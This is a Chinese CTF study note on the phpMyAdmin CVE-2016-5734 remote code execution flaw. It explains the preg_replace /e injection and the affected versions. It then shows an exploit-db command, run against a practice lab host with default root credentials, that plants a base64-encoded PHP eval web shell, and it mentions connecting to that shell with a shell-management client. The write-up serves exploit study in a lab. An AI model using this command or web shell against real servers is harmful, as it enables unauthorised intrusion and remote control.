「配枪朱丽叶。」

RootのCTF学习笔记。

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

下版本受到影响:

4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

访问网站,默认账号root密码root:
https://s2.ax1x.com/2020/01/08/l2Yl9O.png
在kali中有自带的exp:

searchsploit phpmyadmin

https://s2.ax1x.com/2020/01/08/l2YTKJ.png

cd /usr/share/exploitdb/exploits/php/webapps/
python3 40185.py -u root --pwd="root" http://node3.buuoj.cn:25339/ -c "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4='));"

这样就把shell.php和其包含的一句话木马写入进去了,访问shell.php发现为空白,说明存在并且被解析。
上菜刀链接:
https://s2.ax1x.com/2020/01/08/l2NhX4.png
最后说明一哈不能以下载文件或者cat命令的方式得到flag,但是可以在终端用strings命令。
不过real环境是复现漏洞的,得不得flag不重要
https://s2.ax1x.com/2020/01/08/l2USHA.png